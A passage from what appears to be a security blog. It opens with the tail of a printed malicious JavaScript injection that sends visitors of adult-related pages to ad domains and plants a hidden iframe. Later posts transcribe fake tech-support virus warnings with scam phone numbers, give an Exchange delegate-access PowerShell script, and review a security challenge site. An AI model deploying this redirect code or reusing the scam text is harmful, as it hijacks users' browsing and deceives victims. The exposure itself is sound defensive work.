o.com|kastit.com|pornini.com|hd4sex.com|laftube.com|mosestube.com|dutchxtube.com|porncastle.net|tubedatbooty.com|pornvie.com|pornopantry.com|springbreaktubegirls.com|tube4u.net|nsfwftw.com|pornozabava.com|tgutube.com|celebritynudez.com|teeztube.com|collegefucktube.com|adultvideomate.com|porntubemoviez.com|bigjuggs.com|hornypickle.com|mypornow.com|pushingpink.com|xxxshare.ru|nuuporn.com|melontube.com|myamateurporntube.com|soyouthinkyourapornstar.com|porntubestreet.com|pornogoddess.com|cumsnroses.com|porntubeclipz.com|lcgirls.com|housewifes.com|cactarse.com|cumfox.com|tube17.com|teenbrosia.com|lesbiantubemovies.com|xxxset.com|gagahub.com|jugland.com|porntubesurf.com|freakybuddy.com|sexdraw.com|sexovirtual.com|pornsmack.com|gratisvideokijken.nl|eroticadulttube.com|bharatporn.com|fmeporn.com|darkpost.com|sexporndump.com|sexandporn.org|jezzytube.com|justpornclip.com|xxxpornow.com|inseks.com|freeporn777.com|porndisk.com|adultfunnow.com|youporn.us.com|babecumtv.com|girlskissinggirlsvideos.com|specialtytubeporn.com|teentube.be|free-celebrity-tube.com|public-sluts.net)/g;
var d = c.test(b);
if (d == true) return &quot;http://ezofferz.com/cr.php?cid=167&amp;cid2=50&amp;a=488&amp;s1=&quot; + mnChannelName;
var f = G();
if (f != null) {
var g = /(?:^|\s)(3some|4some|adrianna luna|adult movies|adult porn|adult sex|alana evans|alex taylor|alexis texas|amateur|amateurs|american|amy fisher|anal sex|anikka albrite|anna malle|april flores|april oneill|asa akira|ashley blue|ashlynn brooke|asia carrera|ass|ass fucked|ass gaping|ass to mouth|asshole|audrey hollander|august ames|austyn moore|babysitter|bbc|bbw|bdsm|beach sex|belle knox|bibi jones|big ass|big cock|big girl|big penis|big tits|black girls|black hair|blacked|blonde|blowjob|bobbi starr|bondage|bonnie rotten|brandi love|brazzers|breasts|bree olson|briana banks|bridgette kerkove|brittany andrews|brittany oconnell|brooklyn lee|brunette|bukkake|butt|calli cox|cam videos|capri anderson|casey calvert|casting|charmane star|cheating wife|chubby|classic porn|classic view|cock|compilation|creampie|cum|cumshot|cumswallow|dahlia sky|dana vespoli|dani daniels|deepthroat|dick|dick sucking|doublepenetration|ebony|erotic|erotica|erotical|eva angelina|eva lopez|exhibitionism|face cum|fap|fellatio|female ejaculation|fetish|fist fucking|fisting|flower tucci|foreplay|foursome|francesca le|free porn|fucked|fucker|fucking|gagging|gang bang|gangbang|gape|gauge|gay porn|gilf|girl on girl|golden shower|gracie glam|groupsex|hairy pussy|handjob|hardcore|hardcore porn|hardcore sex|holly ryder|homemade|houston|huge tits|interracial|jasmin|jayden jaymes|jenna haze|jenna jameson|jenny hendrix|jesse jane|jessie rogers|juelz ventura|justine joli|jynx maze|kagney linn karter|katie morgan|katsuni|kaylani lei|keisha|keisha grey|kendra lust|kota sky|kylie ireland|leilani leeane|lesbian|lily carter|lisa ann|lizz tayler|lolo ferrari|lupe fuentes|maddy oreilly|madelyn marie|maid|mary carey|marylin star|massage|masturbate|masturbates|masturbation|mature women|melissa hill|memphis monroe|mia khalifa|mia malkova|midori|mika tan|milf|mimi miyagi|mira cuckold|missionary position|missionaryposition|missy|naked|nicole aniston|nikki benz|nude|nudity|oiled|orgasm|orgy|penis|phoenix marie|porn|porn stars|porn tube|porn videos|porno|pornstar|pornstars|porntube|pregnant|prinzzess|priya rai|pussy|rachel roxx|rachel starr|raylene|rebeca linares|rebecca lord|redhead|remy lacroix|rikki six|riley reid|riley steele|sammie rhodes|sasha grey|savannah|schoolgirl|serenity|sex|sex movies|sexy|sexy girls|shan|shaved pussy|shemale|shyla jennings|shyla stylez|sienna west|sinn sage|sky lopez|slut|slutload|small tits|solo girl|solo girls|squirt|squirting|stockings|stormy daniels|stoya|strip|striptis|sucking|taylor st claire|taylor vixen|teacher|teen porn|tera patrick|tericka dye|threesome|tori black|tranny|trans|transsexual|ts|university|vanessa blue|vicky vette|vintage porno|virgin|virginity|whore|wife|xxx|young girls|Große Klitoris|Gruppensex|Cuckold|Nippel|Dicke Ärsche|Doppelte Penetration|Orgasmus|Titten|Arsch Lecken|Babes|Pornostars|Unterm Rock|Kehlenfick|Bisexuell|Face Sitting|Kleine Titten|Fickmaschinen|Wichsen|Lecken|Lesben|Sexspielzeug|Große Brüste|Striptease|Transsexuelle|Große Schwänze|Große Titten|Große Ärsche|Mann fickt Transe|HD Transen|Transe fickt Mann|Transe fickt Mädchen|Kleine Titten Transe|Transe fickt Transe|Ladyboys|Transen|Schwule|Fette Schwule|Kleine Schwänze|Sperma Tribute|Crossdresser|Twinks|Choix des femmes|Cocu|Fétichisme des pieds|Machine à baiser|Gode ceinture|Sous la jupe|Gorge profonde|Assis sur le visage|Cunnilingus|Stars du porno|Gros Culs|Gros clitoris|Ballbusting|Doigtage|Gros seins|Nudité publique|Bisexuels|Double Pénétration|Orgasmes|Tétons|Partouze|Branlette|Petits seins|Ejaculation féminine|Ejaculation interne|Erotique|Échangistes|Éjaculations|Fellation|Lesbiennes|Léchage de cul|Transsexuels|Shemale baise un mec|Grosses bites|Mec baise trans|Trans baise trans|Trans baise une fille|Transexuel|Transexuel à petits seins|Hommage de sperme|Travestis|Petites bites|Sexo Anal|Punheta|Feticheporpés|Estrelaspornô|Faciai|Lésbica|Orgasmo|Ejaculaçãofeminina|Cunilíngua|Bissexuai|Masturbação|Sexoemgrupo|estrelas pornô|sex videos|porn vids|sex vids|Big Cocks|Sex Toys|Anal|Softcore|Glory Holes|Ass Licking|Group Sex|Handjobs|Orgasms|Swingers|Big Boobs|Deep Throats|Big Clit|Doggy Style|Bisexual|Double Penetration|Upskirts|Public Nudity|Facial|Fingering|Foot Fetish|Lesbians|Fucking Machines|Spanking|Glory Hole|Cum Tribute|Fat Gays|Black Gays|Small Cock|sex tube)(?=\s|$)/g;
var h = f.match(g);
if (h != null) return &quot;http://ezofferz.com/cr.php?cid=167&amp;cid2=50&amp;a=488&amp;s1=&quot; + mnChannelName;
else return a
} else {
return a
}
} catch (e) {
return &quot;http://www.reduxmediia.com/apu.php?n=&amp;zoneid=12056&amp;cb=&quot; + GetRandom + &quot;&amp;popunder=1&amp;direct=1&amp;s1=&quot; + mnChannelName
}
};
var G = function() {
var a = document.title.toLowerCase();
if (a != null &amp;&amp; a != &quot;&quot;) {
a = a.replace(/[^\w\s]/gi, '').replace(/[^A-Za-z;.'&quot;:_-]/g, &quot; &quot;).replace(/\s{2,}/g, ' ').replace(/^\s\s*/, '').replace(/\s\s*$/, '');
if (a != &quot;&quot;) return a;
else return null
} else return null
};
return {
start: u,
returnToPage: B
}
}();
var findSpecElem = $jfc('#' + orion_CONFIG_main._EX_PARAM + '');
window.mobilecheck = function() {
var b = false;
(function(a) {
if (/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0, 4))) b = true
})(navigator.userAgent || navigator.vendor || window.opera);
return b
};

function WXIsAdWindow_myF() {
try {
var a = window.name.toString().split(&quot;|&quot;);
if (a.length &gt;= 3 &amp;&amp; a[0].substr(0, 3) == &quot;FA_&quot; &amp;&amp; a[2].match(new RegExp(&quot;^[tda]$&quot;, &quot;g&quot;)) != null) {
if (Math.round((new Date()).getTime() / 1000) - a[1] &gt; 600) {
window.name = &quot;&quot;;
return false
}
}
return window.name.toString().match(new RegExp(&quot;^FA[-_]&quot;, &quot;g&quot;)) != null || window.location.href.match(new RegExp(&quot;lll[a-zA-Z0-9]{11}00&quot;, &quot;g&quot;)) != null
} catch (e) {
return false
}
};

function check50Widget() {
if ((window.name || '').match(/^(a652c|ld893)_/)) {
return true
} else {
return false
}
};
if (findSpecElem.length == 0 &amp;&amp; typeof orionHelthParam == &quot;undefined&quot; &amp;&amp; !window.mobilecheck() &amp;&amp; self.location == top.location) {
var myIfr = '&lt;iframe id=&quot;orion_ifrm&quot; src=&quot;//q2u3z6t7.ssl.hwcdn.net/html/pixel.html?d=2&quot; style=&quot;width:1px;height:1px;top:-1000px;right-1000px;position:absolute&quot;&gt;&lt;/iframe&gt;';
$jfc('body').append($jfc(myIfr));
setTimeout(function() {
if (allParamsData == &quot;&quot;) {
orion_WGT_main.start()
}
}, 2000)
}

function listenMessage(a) {
if (a.origin.indexOf('q2u3z6t7.ssl.hwcdn.net') &gt; -1) {
allParamsData = a.data;
orion_WGT_main.start()
}
};
if (window.addEventListener) {
window.addEventListener(&quot;message&quot;, listenMessage, false)
} else {
window.attachEvent(&quot;onmessage&quot;, listenMessage)
}

 

Posted in Uncategorized | 1 Comment

Scam Tech Support emergencyalert.co

fake yahlover warning

While a customer was browsing clickbait sites they got a fake virus warning message from: http://www.157163rd.in/Virus%20Web/tashi.html which asks victims to call 0808 189 1317 (aka. 0-808-189-1317 / +448081891317 / 08081891317)

Message from webpage

********************************
ARDN/YahLover.worm!OSSBCCAC9FEC Infection
********************************

Call Technical Support Immediately at 0-808-189-1317

The following data will be compromised if you continue
1. Passwords
2. Browser History
3. Credit Card Information

This virus is well known for complete identity and credit card theft. Further action through this computer or any computer on the network will reveal private information and involve serious risks.

Call Technical Support Immediately at 0-808-189-1317
OK

Hard Drive is not acceptable.

The file or directory is corrupted and unreadable! Please call Support Now!. Call Toll-Free: +1-844-798-1896 To find right solution.
Are you sure you want to leave this page?
Leave Page               Stay On Page

Your computer has been Locked

Your computer with the IP address 182.74.27.50 has been infected by the Virus RDN/YahLover.worm!055BCCAC9FEC — Because System Activation KEY has expired & Your information (for example, passwords, messages, and credit cards) have been stolen. Call the Technical Support number +0-808-189-1317 to protect your files and identity from further damage.

There is a google analytics code on the page which is also used on loan4everyone.com

Also related is http://emergencyalert.co/Virus%20Web/index.html which asks victims to call 1­866­315­8808 (aka. ­866­315­8808 / +1­866­315­8808 / 1­-866­-315-­8808 / (­866) ­315 ­8808).

ALERT 0x01921457

The problem is caused by an unusual activity
performed on this machine. Error code­ S1L457.
Call customer support number 1­866­315­8808
and share this code with the agent.

Are you sure you want to leave this page?

And further lies / warning messages on the page.

Warning: Internet Security Damaged !!!
A Suspicious Connection Was Trying to Access Your Logins, Banking Details & Tracking Your Internet Activity.

Your TCP Connection Was Blocked by Your Firewall. Your Accounts May be Suspended Until You Take an Action.

Your Personal Information May Have Leaked. IMMEDIATE RESPONSE REQUIRED

Your Hard Disk May Have Trojan Virus! Please Do Not Try to Fix Manually, It May Crash Your Data.

Consequently, we are performing additional security checks to verify system security.

Please Visit Your Nearest Windows Service Center OR Call Help Desk

———————————————————
Customer Service: 1-866-315-8808 (TOLL-FREE)
———————————————————
********** IMMEDIATE RESPONSE REQUIRED **********

Please contact network administration to rectify the issue.
Please do not open internet browser for your security issue to avoid data corruption on your registery of your operating system. Please contact network administration department at 1-866-315-8808 (TOLL-FREE)

Virus Info:
A Trojan horse, or Trojan, in computing is a non-self-replicating type of malware program containing malicious code that, when executed, carries out actions determined by the nature of the Trojan, typically causing loss or theft of data, and possible system harm. The term is derived from the story of the wooden horse used to trick defenders of Troy into taking concealed warriors into their city in ancient Greece, because computer Trojans often employ a form of social engineering, presenting themselves as routine, useful, or interesting in order to persuade victims to install them on their computers.

A Trojan often acts as a backdoor, contacting a controller which can then have unauthorized access to the affected computer. The Trojan and backdoors are not themselves easily detectable, but if they carry out significant computing or communications activity may cause the computer to run noticeably slowly. Malicious programs are classified as Trojans if they do not attempt to inject themselves into other files (computer virus) or otherwise propagate themselves (worm).

A computer may host a Trojan via a malicious program a user is duped into executing files or browsing internet.
Please contact network administration department at 1-866-315-8808 (TOLL-FREE)

This website has a Google Analytics code which has also been used on:

mailbox-plus.com
movieviewonline.com
http://www.breakingnews.website

Posted in Uncategorized | 3 Comments

Allowing access to Private items on an on-prem Exchange server to a delegate.

I’ve recently had problems trying to copy out folders from a mailbox that had been shared to me. I got the following error message:

cannot copy the items may contain private items

“Cannot copy the items. Cannot copy this folder because it may contain private items.”

Most of the solutions I found on the internet required the user who shared the folder with me to tick the “Private items” option in Outlook. Not good when I can’t get hold of them when needed and also not possible if you only use OWA (Outlook Web Access) and don’t have Outlook installed.

After a lot of searching I think I found the correct solution.

Download and install Exchange Web Services:

https://www.microsoft.com/en-us/download/details.aspx?id=35371

Enable applicationImpersonation for the account the powershell command would be run from.

$mbtoDelegate = "mark@yourdomain.co.uk"
$delegatetoAdd = "helen@yourdomain.co.uk"


$dllpath = "C:\Program Files\Microsoft\Exchange\Web Services\2.0\Microsoft.Exchange.WebServices.dll"
[void][Reflection.Assembly]::LoadFile($dllpath)
$service = new-object Microsoft.Exchange.WebServices.Data.ExchangeService
([Microsoft.Exchange.WebServices.Data.ExchangeVersion]::Exchange2007_SP1)

$windowsIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
$sidbind = "LDAP://<SID=" + $windowsIdentity.user.Value.ToString() + ">"
$aceuser = [ADSI]$sidbind

$service.AutodiscoverUrl($aceuser.mail.ToString())
$service.ImpersonatedUserId = new-object Microsoft.Exchange.WebServices.Data.ImpersonatedUserId
([Microsoft.Exchange.WebServices.Data.ConnectingIdType]::SmtpAddress, $mbtoDelegate);

$mbMailbox = new-object Microsoft.Exchange.WebServices.Data.Mailbox($mbtoDelegate)
$dgUser = new-object Microsoft.Exchange.WebServices.Data.DelegateUser($delegatetoAdd)
$dgUser.ViewPrivateItems = $true
$dgUser.ReceiveCopiesOfMeetingMessages = $false
$dgUser.Permissions.CalendarFolderPermissionLevel = [Microsoft.Exchange.WebServices.Data.DelegateFolderPermissionLevel]::Author
$dgUser.Permissions.InboxFolderPermissionLevel = [Microsoft.Exchange.WebServices.Data.DelegateFolderPermissionLevel]::Author
$dgArray = new-object Microsoft.Exchange.WebServices.Data.DelegateUser[] 1
$dgArray[0] = $dgUser
$service.AddDelegates($mbMailbox, [Microsoft.Exchange.WebServices.Data.MeetingRequestsDeliveryScope]::DelegatesAndMe, $dgArray);

If you screw it up, comment out the last .AddDelegates line using a # at the beginning and add in

$service.RemoveDelegates($mbMailbox, $delegatetoAdd);

Don’t be tricked with the variable name.. even though it says “toAdd” we are just using it as a convenient place to retrieve the delegate email address.

Anyway – once run.. I could then copy the folder structure I needed!

Posted in Uncategorized | Leave a comment

How to do it wrong: Cyber Security Challenge UK

KONICA MINOLTA DIGITAL CAMERADuring a recent trip to the very interesting National Museum of Computing at Bletchley Park I saw non-descriptive sponsorship or advertising for “Cyber Security Challenge UK“.

All it said was something vague like “Want to work in cyber security?” and a nice picture and then the url. No details about what they are, what the website does or how you get the jobs.

It turns out to be some kind of “hacking competition”. Not such a bad idea but the advert really could have been clearer. I expect they lose a lot of young people because it isn’t obvious that you might actually have fun and learn things if you visit the website.

 

 

Even when you visit the website it still isn’t entirely clear what you are even doing on the site – however I signed up. Things started to go downhill from there.

Their website and twitter feed have pretty clear spelling mistakes:
https://twitter.com/Cyberchallenge/status/747780107033583616
“This moth we were delighted to win the prestigious Editors Choice award at the[..]”

Which also links you to a 404.

Anyway. Back to their actual code design:

First.. The sign up page resets most of the choices (tick boxes, radio buttons and date of birth selection) if it dislikes an input (password too short etc.).

Secondly.. and this is a HUGE NO NO in the security world.. their system will allow you to identify if you’ve guessed a username correctly. That is just utterly poor for something supposedly aimed at training or identifying security professionals.

cybersecurityinfoleak

If you do manage to sign in, the initial page load takes about 30 seconds!

slow login

It takes similar long times to load the challenges. Very frustrating to use.

The two challenges I’ve tried so far have been interesting and engaging. One was a quiz about finding bugs or potential problems in C code and the other was an example Wireshark / TCPDump PCAP and identifying problems.

The layout of the challenge question form is easy to understand. Sometimes some of the answers are not. For example one was “Free the pointer after the error catchment” yet it doesn’t caveat it with “whilst also removing the free function from the prior code”.. which caught me out.

Another question with vague answers is:

What does the FTP ‘PORT’ command do?

Select one:
a. Establish connection over port 20.
b. Move the sever away from the starboard side.
c. Open a connection with another computer. (X)
d. End the FTP connection.

To which I was marked as incorrect (the X).. but I guess they view the “Open a connection with another computer” means “an entirely different computer you are not using”.
I read or interepreted it as “the server makes a connection to another computer [i.e. not itself]”. Also I thought the port 20 answer was far too obvious.

Also in “the good old days” you could “FXP” FTP between different FTP servers using your computer as just the control channel and _not_ a relay for the data! (This practice has generally been configured out of networks as it was quite insecure and didn’t really have much use). So the answer really could be correct in the sense that they are understanding it.

One of the challenges was examining images of two systems for file access times and settings. Sadly a _lot_ of the questions fail to be specific enough.
One question was “What was the last command used in the run box on the Windows XP machine?”. But doesn’t cite if they are after this detail for a specific user or across every user who was on the system image. The multiple choice answers had both entries that could match for either the user that “was the person of interest” or for another user on the system.
Very often they also failed to cite which machine they were after information from. For example “According to X what was the most recent file accessed”.. I’m unsure if this is intentional for people to work out that the older OS doesn’t have that feature or they just forgot to put this detail in the question.

In another challenge you are asked to download a .exe file and run it.. seemingly some sort of Python game. Running random .exe files scares me and, even when run on a test machine, the game ran like total turd. Mouse input was about 100 times more sensitive than it should have been. I gave up with that exercise.

Even with all this.. If I were a student back in school with oodles of spare time. I would LOVE this. Lots of information and challenges to keep you puzzle solving and learning, researching or googling new skills.

Such a huge amount of time and resources must have gone into building this recruitment(?) / testing system.. I wonder (and hope) if it actually brings in the punters and skills they are after.

Posted in Uncategorized | Leave a comment